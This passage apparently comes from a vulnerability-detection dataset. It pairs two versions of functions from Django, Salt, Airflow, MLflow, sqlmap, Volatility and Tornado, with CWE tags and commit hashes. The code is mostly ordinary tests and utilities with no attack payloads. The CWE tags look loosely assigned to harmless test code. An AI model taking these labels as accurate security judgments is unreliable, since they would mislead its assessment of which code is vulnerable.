        self.assertEqual(floatformat(13.1031, 'bar'), '13.1031')
        self.assertEqual(floatformat(18.125, 2), '18.13')
        self.assertEqual(floatformat('foo', 'bar'), '')
        self.assertEqual(floatformat('¿Cómo esta usted?'), '')
        self.assertEqual(floatformat(None), '')

        # Check that we're not converting to scientific notation.
        self.assertEqual(floatformat(0, 6), '0.000000')
        self.assertEqual(floatformat(0, 7), '0.0000000')
        self.assertEqual(floatformat(0, 10), '0.0000000000')
        self.assertEqual(floatformat(0.000000000000000000015, 20),
                                     '0.00000000000000000002')

        pos_inf = float(1e30000)
        self.assertEqual(floatformat(pos_inf), six.text_type(pos_inf))

        neg_inf = float(-1e30000)
        self.assertEqual(floatformat(neg_inf), six.text_type(neg_inf))

        nan = pos_inf / pos_inf
        self.assertEqual(floatformat(nan), six.text_type(nan))

        class FloatWrapper(object):
            def __init__(self, value):
                self.value = value
            def __float__(self):
                return self.value

        self.assertEqual(floatformat(FloatWrapper(11.000001), -2), '11.00')

        # Regression for #15789
        decimal_ctx = decimal.getcontext()
        old_prec, decimal_ctx.prec = decimal_ctx.prec, 2
        try:
            self.assertEqual(floatformat(1.2345, 2), '1.23')
            self.assertEqual(floatformat(15.2042, -3), '15.204')
            self.assertEqual(floatformat(1.2345, '2'), '1.23')
            self.assertEqual(floatformat(15.2042, '-3'), '15.204')
            self.assertEqual(floatformat(decimal.Decimal('1.2345'), 2), '1.23')
            self.assertEqual(floatformat(decimal.Decimal('15.2042'), -3), '15.204')
        finally:
            decimal_ctx.prec = old_prec",CWE-Unknown,django/django,b4420d96023b9d9067ebc8e8dcd8ca7cea41aff1,"def test_floatformat(self):
        self.assertEqual(floatformat(7.7), '7.7')
        self.assertEqual(floatformat(7.0), '7')
        self.assertEqual(floatformat(0.7), '0.7')
        self.assertEqual(floatformat(0.07), '0.1')
        self.assertEqual(floatformat(0.007), '0.0')
        self.assertEqual(floatformat(0.0), '0')
        self.assertEqual(floatformat(7.7, 3), '7.700')
        self.assertEqual(floatformat(6.000000, 3), '6.000')
        self.assertEqual(floatformat(6.200000, 3), '6.200')
        self.assertEqual(floatformat(6.200000, -3), '6.200')
        self.assertEqual(floatformat(13.1031, -3), '13.103')
        self.assertEqual(floatformat(11.1197, -2), '11.12')
        self.assertEqual(floatformat(11.0000, -2), '11')
        self.assertEqual(floatformat(11.000001, -2), '11.00')
        self.assertEqual(floatformat(8.2798, 3), '8.280')
        self.assertEqual(floatformat(5555.555, 2), '5555.56')
        self.assertEqual(floatformat(001.3000, 2), '1.30')
        self.assertEqual(floatformat(0.12345, 2), '0.12')
        self.assertEqual(floatformat(decimal.Decimal('555.555'), 2), '555.56')
        self.assertEqual(floatformat(decimal.Decimal('09.000')), '9')
        self.assertEqual(floatformat('foo'), '')
        self.assertEqual(floatformat(13.1031, 'bar'), '13.1031')
        self.assertEqual(floatformat(18.125, 2), '18.13')
        self.assertEqual(floatformat('foo', 'bar'), '')
        self.assertEqual(floatformat('¿Cómo esta usted?'), '')
        self.assertEqual(floatformat(None), '')

        # Check that we're not converting to scientific notation.
        self.assertEqual(floatformat(0, 6), '0.000000')
        self.assertEqual(floatformat(0, 7), '0.0000000')
        self.assertEqual(floatformat(0, 10), '0.0000000000')
        self.assertEqual(floatformat(0.000000000000000000015, 20),
                                     '0.00000000000000000002')

        pos_inf = float(1e30000)
        self.assertEqual(floatformat(pos_inf), six.text_type(pos_inf))

        neg_inf = float(-1e30000)
        self.assertEqual(floatformat(neg_inf), six.text_type(neg_inf))

        nan = pos_inf / pos_inf
        self.assertEqual(floatformat(nan), six.text_type(nan))

        class FloatWrapper(object):
            def __init__(self, value):
                self.value = value
            def __float__(self):
                return self.value

        self.assertEqual(floatformat(FloatWrapper(11.000001), -2), '11.00')

        # Regression for #15789
        decimal_ctx = decimal.getcontext()
        old_prec, decimal_ctx.prec = decimal_ctx.prec, 2
        try:
            self.assertEqual(floatformat(1.2345, 2), '1.23')
            self.assertEqual(floatformat(15.2042, -3), '15.204')
            self.assertEqual(floatformat(1.2345, '2'), '1.23')
            self.assertEqual(floatformat(15.2042, '-3'), '15.204')
            self.assertEqual(floatformat(decimal.Decimal('1.2345'), 2), '1.23')
            self.assertEqual(floatformat(decimal.Decimal('15.2042'), -3), '15.204')
        finally:
            decimal_ctx.prec = old_prec"
,UNKNOWN,UNKNOWN,tests/unit/states/mac_defaults_test.py,1,"def test_absent_already(self):
        '''
            Test ensuring non-existent defaults value is absent
        '''
        expected = {
            'changes': {},
            'comment': 'com.apple.something Key is already absent',
            'name': 'Key',
            'result': True
        }

        mock = MagicMock(return_value={'retcode': 1})
        with patch.dict(macdefaults.__salt__, {'macdefaults.delete': mock}):
            out = macdefaults.absent('Key', 'com.apple.something')
            mock.assert_called_once_with('com.apple.something', 'Key', None)
            self.assertEqual(out, expected)",CWE-703,saltstack/salt,182373344e5ed194bcd634a64e7d8a911636e779,"def test_absent_already(self):
        '''
            Test ensuring non-existent defaults value is absent
        '''
        expected = {
            'changes': {},
            'comment': 'com.apple.something Key is already absent',
            'name': 'Key',
            'result': True
        }

        mock = MagicMock(return_value={'retcode': 0}) # this is the macdefaults call retcode? or defaults itself?
        with patch.dict(macdefaults.__salt__, {'macdefaults.absent': mock}):
            out = macdefaults.absent('Key', 'com.apple.something')
            mock.assert_called_once_with('com.apple.something', 'Key', None)
            assert not write_mock.called
            self.assertEqual(out, expected)"
,UNKNOWN,UNKNOWN,tests/models.py,1,"def test_xcom_pull_after_success(self):
        """"""
        tests xcom set/clear relative to a task in a 'success' rerun scenario
        """"""
        key = 'xcom_key'
        value = 'xcom_value'

        dag = models.DAG(dag_id='test_xcom', schedule_interval='@monthly')
        task = DummyOperator(
            task_id='test_xcom',
            dag=dag,
            pool='test_xcom',
            owner='airflow',
            start_date=datetime.datetime(2016, 6, 2, 0, 0, 0))
        exec_date = datetime.datetime.now()
        ti = TI(
            task=task, execution_date=exec_date)
        ti.run(mark_success=True)
        ti.xcom_push(key=key, value=value)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), value)
        ti.run()
        # The second run and assert is to handle AIRFLOW-131 (don't clear on
        # prior success)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), value)

        # Test AIRFLOW-703: Xcom shouldn't be cleared if the task doesn't
        # execute, even if dependencies are ignored
        ti.run(ignore_all_deps=True, mark_success=True)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), value)
        # Xcom IS finally cleared once task has executed
        ti.run(ignore_all_deps=True)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), None)",CWE-703,apache/airflow,96c787f390ad9852ae6c0c0fbb0510e36df185b1,"def test_xcom_pull_after_success(self):
        """"""
        tests xcom set/clear relative to a task in a 'success' rerun scenario
        """"""
        key = 'xcom_key'
        value = 'xcom_value'

        dag = models.DAG(dag_id='test_xcom', schedule_interval='@monthly')
        task = DummyOperator(
            task_id='test_xcom',
            dag=dag,
            pool='test_xcom',
            owner='airflow',
            start_date=datetime.datetime(2016, 6, 2, 0, 0, 0))
        exec_date = datetime.datetime.now()
        ti = TI(
            task=task, execution_date=exec_date)
        ti.run(mark_success=True)
        ti.xcom_push(key=key, value=value)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), value)
        ti.run()
        # The second run and assert is to handle AIRFLOW-131 (don't clear on
        # prior success)
        self.assertEqual(ti.xcom_pull(task_ids='test_xcom', key=key), value)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs.py,0,"def reset_state_for_orphaned_tasks(self, filter_by_dag_run=None, session=None):
        """"""
        This function checks if there are any tasks in the dagrun (or all)
        that have a scheduled state but are not known by the
        executor. If it finds those it will reset the state to None
        so they will get picked up again.
        The batch option is for performance reasons as the queries are made in
        sequence.

        :param filter_by_dag_run: the dag_run we want to process, None if all
        :type filter_by_dag_run: models.DagRun
        :return: the TIs reset (in expired SQLAlchemy state)
        :rtype: List(TaskInstance)
        """"""
        queued_tis = self.executor.queued_tasks
        # also consider running as the state might not have changed in the db yet
        running_tis = self.executor.running

        resettable_states = [State.SCHEDULED, State.QUEUED]
        TI = models.TaskInstance
        DR = models.DagRun
        if filter_by_dag_run is None:
            resettable_tis = (
                session
                .query(TI)
                .join(
                    DR,
                    and_(
                        TI.dag_id == DR.dag_id,
                        TI.execution_date == DR.execution_date))
                .filter(
                    DR.state == State.RUNNING,
                    DR.external_trigger.is_(False),
                    DR.run_id.notlike(BackfillJob.ID_PREFIX + '%'),
                    TI.state.in_(resettable_states))).all()
        else:
            resettable_tis = filter_by_dag_run.get_task_instances(state=resettable_states,
                                                                  session=session)
        tis_to_reset = []
        # Can't use an update here since it doesn't support joins
        for ti in resettable_tis:
            if ti.key not in queued_tis and ti.key not in running_tis:
                tis_to_reset.append(ti)

        filter_for_tis = ([and_(TI.dag_id == ti.dag_id,
                                TI.task_id == ti.task_id,
                                TI.execution_date == ti.execution_date)
                           for ti in tis_to_reset])
        if len(tis_to_reset) == 0:
            return []
        reset_tis = (
            session
            .query(TI)
            .filter(or_(*filter_for_tis), TI.state.in_(resettable_states))
            .with_for_update()
            .all())
        for ti in reset_tis:
            ti.state = State.NONE
            session.merge(ti)
        task_instance_str = '\n\t'.join(
            [""{}"".format(x) for x in reset_tis])
        session.commit()

        self.log.info(
            ""Reset the following %s TaskInstances:\n\t%s"",
            len(reset_tis), task_instance_str
        )
        return reset_tis",CWE-Unknown,apache/airflow,31946e024678dcb15b97ba53e35b9e37c57fb185,"def reset_state_for_orphaned_tasks(self, filter_by_dag_run=None, session=None):
        """"""
        This function checks if there are any tasks in the dagrun (or all)
        that have a scheduled state but are not known by the
        executor. If it finds those it will reset the state to None
        so they will get picked up again.
        The batch option is for performance reasons as the queries are made in
        sequence.

        :param filter_by_dag_run: the dag_run we want to process, None if all
        :type filter_by_dag_run: models.DagRun
        :return: the TIs reset (in expired SQLAlchemy state)
        :rtype: List(TaskInsance)
        """"""
        queued_tis = self.executor.queued_tasks
        # also consider running as the state might not have changed in the db yet
        running_tis = self.executor.running

        resettable_states = [State.SCHEDULED, State.QUEUED]
        TI = models.TaskInstance
        DR = models.DagRun
        if filter_by_dag_run is None:
            resettable_tis = (
                session
                .query(TI)
                .join(
                    DR,
                    and_(
                        TI.dag_id == DR.dag_id,
                        TI.execution_date == DR.execution_date))
                .filter(
                    DR.state == State.RUNNING,
                    DR.external_trigger.is_(False),
                    DR.run_id.notlike(BackfillJob.ID_PREFIX + '%'),
                    TI.state.in_(resettable_states))).all()
        else:
            resettable_tis = filter_by_dag_run.get_task_instances(state=resettable_states,
                                                                  session=session)
        tis_to_reset = []
        # Can't use an update here since it doesn't support joins
        for ti in resettable_tis:
            if ti.key not in queued_tis and ti.key not in running_tis:
                tis_to_reset.append(ti)

        filter_for_tis = ([and_(TI.dag_id == ti.dag_id,
                                TI.task_id == ti.task_id,
                                TI.execution_date == ti.execution_date)
                           for ti in tis_to_reset])
        if len(tis_to_reset) == 0:
            return []
        reset_tis = (
            session
            .query(TI)
            .filter(or_(*filter_for_tis), TI.state.in_(resettable_states))
            .with_for_update()
            .all())
        for ti in reset_tis:
            ti.state = State.NONE
            session.merge(ti)
        task_instance_str = '\n\t'.join(
            [""{}"".format(x) for x in reset_tis])
        session.commit()

        self.log.info(
            ""Reset the following %s TaskInstances:\n\t%s"",
            len(reset_tis), task_instance_str
        )
        return reset_tis"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_ForeignKey_using_to_field(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get('%s%s' % (
            self.live_server_url,
            reverse('admin:admin_widgets_profile_add')))

        main_window = self.selenium.current_window_handle
        # Click the Add User button to add new
        self.selenium.find_element_by_id('add_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')
        self.wait_for('#id_password')
        password_field = self.selenium.find_element_by_id('id_password')
        password_field.send_keys('password')

        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'newuser'
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to.window(main_window)
        # The field now contains the new user
        self.wait_for('#id_user option[value=""newuser""]')

        # Click the Change User button to change it
        self.selenium.find_element_by_id('change_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')

        self.wait_for('#id_username')
        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'changednewuser'
        username_field.clear()
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to_window(main_window)
        # Wait up to 2 seconds for the new option to show up after clicking save in the popup.
        self.selenium.implicitly_wait(2)
        self.selenium.find_element_by_css_selector('#id_user option[value=changednewuser]')
        self.selenium.implicitly_wait(0)

        # Go ahead and submit the form to make sure it works
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.wait_for_text('li.success', 'The profile ""changednewuser"" was added successfully.')
        profiles = models.Profile.objects.all()
        self.assertEqual(len(profiles), 1)
        self.assertEqual(profiles[0].user.username, username_value)",CWE-259,django/django,3f8b9056c0da53858bd365e55f99ebc8af7c966e,"def test_ForeignKey_using_to_field(self):
        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get('%s%s' % (
            self.live_server_url,
            reverse('admin:admin_widgets_profile_add')))

        main_window = self.selenium.current_window_handle
        # Click the Add User button to add new
        self.selenium.find_element_by_id('add_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')
        password_field = self.selenium.find_element_by_id('id_password')
        password_field.send_keys('password')

        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'newuser'
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to.window(main_window)
        # The field now contains the new user
        self.wait_for('#id_user option[value=""newuser""]')

        # Click the Change User button to change it
        self.selenium.find_element_by_id('change_id_user').click()
        self.wait_for_popup()
        self.selenium.switch_to.window('id_user')

        username_field = self.selenium.find_element_by_id('id_username')
        username_value = 'changednewuser'
        username_field.clear()
        username_field.send_keys(username_value)

        save_button_css_selector = '.submit-row > input[type=submit]'
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.selenium.switch_to_window(main_window)
        # Wait up to 2 seconds for the new option to show up after clicking save in the popup.
        self.selenium.implicitly_wait(2)
        self.selenium.find_element_by_css_selector('#id_user option[value=changednewuser]')
        self.selenium.implicitly_wait(0)

        # Go ahead and submit the form to make sure it works
        self.selenium.find_element_by_css_selector(save_button_css_selector).click()
        self.wait_for_text('li.success', 'The profile ""changednewuser"" was added successfully.')
        profiles = models.Profile.objects.all()
        self.assertEqual(len(profiles), 1)
        self.assertEqual(profiles[0].user.username, username_value)"
,UNKNOWN,UNKNOWN,tests/xgboost/test_xgboost_autolog.py,1,"def test_xgb_autolog_sklearn():

    mlflow.xgboost.autolog()

    X, y = datasets.load_iris(return_X_y=True)
    params = {""n_estimators"": 10, ""reg_lambda"": 1}
    model = xgb.XGBRegressor(**params)

    with mlflow.start_run() as run:
        model.fit(X, y)
        model_uri = mlflow.get_artifact_uri(""model"")

    client = MlflowClient()
    run = client.get_run(run.info.run_id)
    assert run.data.metrics.items() <= params.items()
    artifacts = {x.path for x in client.list_artifacts(run.info.run_id)}
    assert artifacts >= {""feature_importance_weight.png"", ""feature_importance_weight.json""}
    loaded_model = mlflow.xgboost.load_model(model_uri)
    np.testing.assert_allclose(loaded_model.predict(X), model.predict(X))",CWE-703,mlflow/mlflow,e2e2b4c2a3b4889d480ecf4622b06bb35ecd4af5,"def test_xgb_autolog_sklearn():

    mlflow.xgboost.autolog()

    X, y = datasets.load_iris(return_X_y=True)
    params = {""n_estimators"": 10, ""reg_lambda"": 1}
    model = xgb.XGBRegressor(**params)

    with mlflow.start_run() as run:
        model.fit(X, y)
        model_uri = mlflow.get_artifact_uri(""model"")

    client = MlflowClient()
    run = client.get_run(run.info.run_id)
    assert run.data.metrics.items() <= params.items()
    artifacts = set(x.path for x in client.list_artifacts(run.info.run_id))
    assert artifacts >= set([""feature_importance_weight.png"", ""feature_importance_weight.json""])
    loaded_model = mlflow.xgboost.load_model(model_uri)
    np.testing.assert_allclose(loaded_model.predict(X), model.predict(X))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/misc.py,0,"def getRemoteTempPath(self):
        if not conf.tmpPath:
            if kb.os == ""Windows"":
                # NOTES:
                #
                # * The system-wide temporary files directory is
                # C:\WINDOWS\Temp
                #
                # * MySQL runs by default as SYSTEM
                #
                # * PostgreSQL runs by default as postgres user and the
                #   temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
                #   however the system-wide folder is writable too
                #
                #infoMsg  = ""retrieving remote absolute path of temporary files ""
                #infoMsg += ""directory""
                #logger.info(infoMsg)
                #
                #conf.tmpPath = self.evalCmd(""echo %TEMP%"")
                conf.tmpPath = ""C:/WINDOWS/Temp""
            else:
                conf.tmpPath = ""/tmp""

        if re.search(""\A[\w]:[\/\\\\]+"", conf.tmpPath, re.I):
            kb.os = ""Windows""

        conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
        conf.tmpPath = normalizePath(conf.tmpPath)

        setRemoteTempPath()",,sqlmapproject/sqlmap,8c68d25b391411269cd59b846f06d087f80c7f24,"def getRemoteTempPath(self):
        if not conf.tmpPath:
            if kb.os == ""Windows"":
                # NOTES:
                #
                # * The system-wide temporary files directory is
                # C:\WINDOWS\Temp
                #
                # * MySQL runs by default as SYSTEM
                #
                # * PostgreSQL runs by default as postgres user and the
                #   temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
                #   however the system-wide folder is writable too
                #
                #infoMsg  = ""retrieving remote absolute path of temporary files ""
                #infoMsg += ""directory""
                #logger.info(infoMsg)
                #
                #conf.tmpPath = self.evalCmd(""echo %TEMP%"")
                conf.tmpPath = ""C:/WINDOWS/Temp""
            else:
                conf.tmpPath = ""/tmp""

        if re.search(""^[\w]\:[\/\\\\]+"", conf.tmpPath, re.I):
            kb.os = ""Windows""

        conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
        conf.tmpPath = normalizePath(conf.tmpPath)

        setRemoteTempPath()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def parseSqliteTableSchema(value):
    """"""
    Parses table column names and types from specified SQLite table schema
    """"""

    retVal = False

    if value:
        table = {}
        columns = {}

        for match in re.finditer(r""(\w+)[\""'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b"", value, re.I):
            retVal = True
            columns[match.group(1)] = match.group(2)

        table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
        kb.data.cachedColumns[conf.db] = table

    return retVal",,sqlmapproject/sqlmap,ab32ad4f48db8f93dc23b31fb2c28ce9b66a8305,"def parseSqliteTableSchema(value):
    """"""
    Parses table column names and types from specified SQLite table schema
    """"""

    if value:
        table = {}
        columns = {}

        for match in re.finditer(r""(\w+)[\""'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b"", value, re.I):
            columns[match.group(1)] = match.group(2)

        table[conf.tbl] = columns
        kb.data.cachedColumns[conf.db] = table"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/providers/celery/sensors/test_celery_queue.py,0,"def test_poke_fail_with_exception(self, mock_inspect, soft_fail, expected_exception):
        mock_inspect_result = mock_inspect.return_value
        mock_inspect_result.reserved.return_value = {}
        mock_inspect_result.scheduled.return_value = {}
        mock_inspect_result.active.return_value = {}
        test_sensor = self.sensor(celery_queue=""test_queue"", task_id=""test-task"", soft_fail=soft_fail)

        with pytest.raises(expected_exception):
            test_sensor.poke(None)",CWE-Unknown,apache/airflow,7ac90b738c0044bd86d201907ef5a57b1b4e53d9,"def test_poke_fail_with_exception(self, mock_inspect, soft_fail, expected_exception):
        mock_inspect_result = mock_inspect.return_value
        mock_inspect_result.reserved.return_value = {}
        mock_inspect_result.scheduled.return_value = {}
        mock_inspect_result.active.return_value = {}

        with pytest.raises(expected_exception):
            test_sensor = self.sensor(celery_queue=""test_queue"", task_id=""test-task"", soft_fail=soft_fail)
            test_sensor.poke(None)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/utils/gitfs/test_gitfs.py,1,"def _test_lock(opts):
    g = _get_gitfs(
        opts,
        ""https://github.com/saltstack/salt-test-pillar-gitfs.git"",
    )
    g.fetch_remotes()
    assert len(g.remotes) == 1
    repo = g.remotes[0]
    mach_id = salt.utils.files.get_machine_identifier()
    assert repo.get_salt_working_dir() in repo._get_lock_file()
    assert repo.lock() == (
        [
            f""Set update lock for gitfs remote 'https://github.com/saltstack/salt-test-pillar-gitfs.git' on machine_id '{mach_id}'""
        ],
        [],
    )
    assert os.path.isfile(repo._get_lock_file())
    assert repo.clear_lock() == (
        [
            f""Removed update lock for gitfs remote 'https://github.com/saltstack/salt-test-pillar-gitfs.git' on machine_id '{mach_id}'""
        ],
        [],
    )
    assert not os.path.isfile(repo._get_lock_file())",CWE-703,saltstack/salt,2a532aa2a3f5de458133c341d588c02ee0b07010,"def _test_lock(opts):
    g = _get_gitfs(
        opts,
        ""https://github.com/saltstack/salt-test-pillar-gitfs.git"",
    )
    g.fetch_remotes()
    assert len(g.remotes) == 1
    repo = g.remotes[0]
    mach_id = salt.utils.files.get_machine_identifier()
    assert repo.get_salt_working_dir() in repo._get_lock_file()
    assert repo.lock() == (
        [
            f""Set update lock for gitfs remote 'https://github.com/saltstack/salt-test-pillar-gitfs.git' on machine_id '{mach_id}'""
        ],
        [],
    )
    assert os.path.isfile(repo._get_lock_file())
    assert repo.clear_lock() == (
        [
            ""Removed update lock for gitfs remote 'https://github.com/saltstack/salt-test-pillar-gitfs.git' on machine_id '{mach_id}'""
        ],
        [],
    )
    assert not os.path.isfile(repo._get_lock_file())"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_test.py,1,"def test_succeed_with_changes():
    """"""
    Test to returns successful and changes is not empty
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": False, ""comment"": """"}
    with patch.dict(test.__opts__, {""test"": False}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": ""Success!"",
                ""result"": True,
            }
        )
        assert test.succeed_with_changes(""salt"") == ret

    with patch.dict(test.__opts__, {""test"": False}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": ""A success comment!"",
                ""result"": True,
            }
        )
        assert test.succeed_with_changes(""salt"", comment=""A success comment!"") == ret

    with patch.dict(test.__opts__, {""test"": True}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": (
                    ""If we weren't testing, this would be successful with changes""
                ),
                ""result"": None,
            }
        )
        assert test.succeed_with_changes(""salt"", comment=""A success comment!"") == ret",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_succeed_with_changes():
    """"""
    Test to returns successful and changes is not empty
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": False, ""comment"": """"}
    with patch.dict(test.__opts__, {""test"": False}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": ""Success!"",
                ""result"": True,
            }
        )
        assert test.succeed_with_changes(""salt"") == ret

    with patch.dict(test.__opts__, {""test"": False}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": ""A success comment!"",
                ""result"": True,
            }
        )
        assert test.succeed_with_changes(""salt"", comment=""A success comment!"") == ret

    with patch.dict(test.__opts__, {""test"": True}):
        ret.update(
            {
                ""changes"": {
                    ""testing"": {
                        ""new"": ""Something pretended to change"",
                        ""old"": ""Unchanged"",
                    }
                },
                ""comment"": ""If we weren't testing, this would be successful with changes"",
                ""result"": None,
            }
        )
        assert test.succeed_with_changes(""salt"", comment=""A success comment!"") == ret"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/gui/win32k_core.py,0,"def _section_chunks(self, sec_name):
        """"""Get the win32k.sys section as an array of 
        32-bit unsigned longs. 

        @param sec_name: name of the PE section in win32k.sys 
        to search for. 

        @returns all chunks on a 4-byte boundary. 
        """"""

        dos_header = obj.Object(""_IMAGE_DOS_HEADER"",
                offset = self.Win32KBase, vm = self.obj_vm)
                
        ## In the rare case when win32k.sys PE header is paged or corrupted
        ## thus preventing us from parsing the sections, use the fallback
        ## mechanism of just reading 5 MB (max size of win32k.sys) from the 
        ## base of the kernel module. 
        chunks_offset = self.Win32KBase
        chunks_size = 0x500000 / 4 # 5 MB 
                
        if dos_header:
            try:
                nt_header = dos_header.get_nt_header()
        
                sections = [
                    sec for sec in nt_header.get_sections(False)
                    if str(sec.Name) == sec_name
                    ]
        
                # There should be exactly one section 
                if sections:
                    desired_section = sections[0]
                    chunks_offset = desired_section.VirtualAddress + dos_header.obj_offset
                    chunks_size = desired_section.Misc.VirtualSize / 4
            except ValueError:
                ## This catches PE header parsing exceptions 
                pass

        chunks = obj.Object(""Array"", targetType = ""unsigned long"",
                            offset = chunks_offset, count = chunks_size, 
                            vm = self.obj_vm)
                            
        return chunks",,volatilityfoundation/volatility,21e2d7b02214b7c9b1296197cd754108c73a689f,"def _section_chunks(self, sec_name):
        """"""Get the win32k.sys section as an array of 
        32-bit unsigned longs. 

        @param sec_name: name of the PE section in win32k.sys 
        to search for. 

        @returns all chunks on a 4-byte boundary. 
        """"""

        dos_header = obj.Object(""_IMAGE_DOS_HEADER"",
                offset = self.Win32KBase, vm = self.obj_vm)

        nt_header = dos_header.get_nt_header()

        sections = [
            sec for sec in nt_header.get_sections(False)
            if str(sec.Name) == sec_name
            ]

        # There should be exactly one section 
        if not sections:
            return obj.NoneObject(""Cannot find the PE section"")

        desired_section = sections[0]

        chunks = obj.Object(""Array"",
                targetType = ""unsigned long"",
                offset = desired_section.VirtualAddress + dos_header.obj_offset,
                count = desired_section.Misc.VirtualSize / 4,
                vm = self.obj_vm)

        return chunks"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_event.py,1,"def test_send(event_listener, salt_master, salt_minion, salt_call_cli):
    """"""
    Test sending an event to the master event bus
    """"""
    event_tag = random_string(""salt/test/event/"")
    data = {""event.fire"": ""just test it!!!!""}
    start_time = time.time()
    ret = salt_call_cli.run(
        ""event.send"",
        event_tag,
        data=data,
        with_grains=True,
        with_pillar=True,
        preload={""foo"": ""bar""},
    )
    assert ret.exitcode == 0
    assert ret.json
    assert ret.json is True

    event_pattern = (salt_master.id, event_tag)
    matched_events = event_listener.wait_for_events(
        [event_pattern], after_time=start_time, timeout=30
    )
    assert matched_events.found_all_events
    for event in matched_events:
        assert event.data[""id""] == salt_minion.id
        assert event.data[""cmd""] == ""_minion_event""
        assert ""event.fire"" in event.data[""data""]
        assert event.data[""foo""] == ""bar""
        assert event.data[""data""][""grains""][""test_grain""] == ""cheese""
        assert event.data[""data""][""pillar""][""ext_spam""] == ""eggs""",CWE-703,saltstack/salt,151dd012ff8db4b39cb93627b129b7957dc67d0f,"def test_send(event_listener, salt_master, salt_minion, salt_call_cli):
    """"""
    Test sending an event to the master event bus
    """"""
    event_tag = random_string(""salt/test/event/"")
    data = {""event.fire"": ""just test it!!!!""}
    start_time = time.time()
    ret = salt_call_cli.run(""event.send"", event_tag, data=data)
    assert ret.exitcode == 0
    assert ret.json
    assert ret.json is True

    event_pattern = (salt_master.id, event_tag)
    matched_events = event_listener.wait_for_events(
        [event_pattern], after_time=start_time, timeout=30
    )
    assert matched_events.found_all_events
    for event in matched_events:
        assert event.data[""id""] == salt_minion.id
        assert event.data[""cmd""] == ""_minion_event""
        assert ""event.fire"" in event.data[""data""]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def __init__(self, io_loop=None, max_buffer_size=None,
                 read_chunk_size=None, max_write_buffer_size=None):
        """"""`BaseIOStream` constructor.

        :arg io_loop: The `.IOLoop` to use; defaults to `.IOLoop.current`.
                      Deprecated since Tornado 4.1.
        :arg max_buffer_size: Maximum amount of incoming data to buffer;
            defaults to 100MB.
        :arg read_chunk_size: Amount of data to read at one time from the
            underlying transport; defaults to 64KB.
        :arg max_write_buffer_size: Amount of outgoing data to buffer;
            defaults to unlimited.

        .. versionchanged:: 4.0
           Add the ``max_write_buffer_size`` parameter.  Changed default
           ``read_chunk_size`` to 64KB.
        """"""
        self.io_loop = io_loop or ioloop.IOLoop.current()
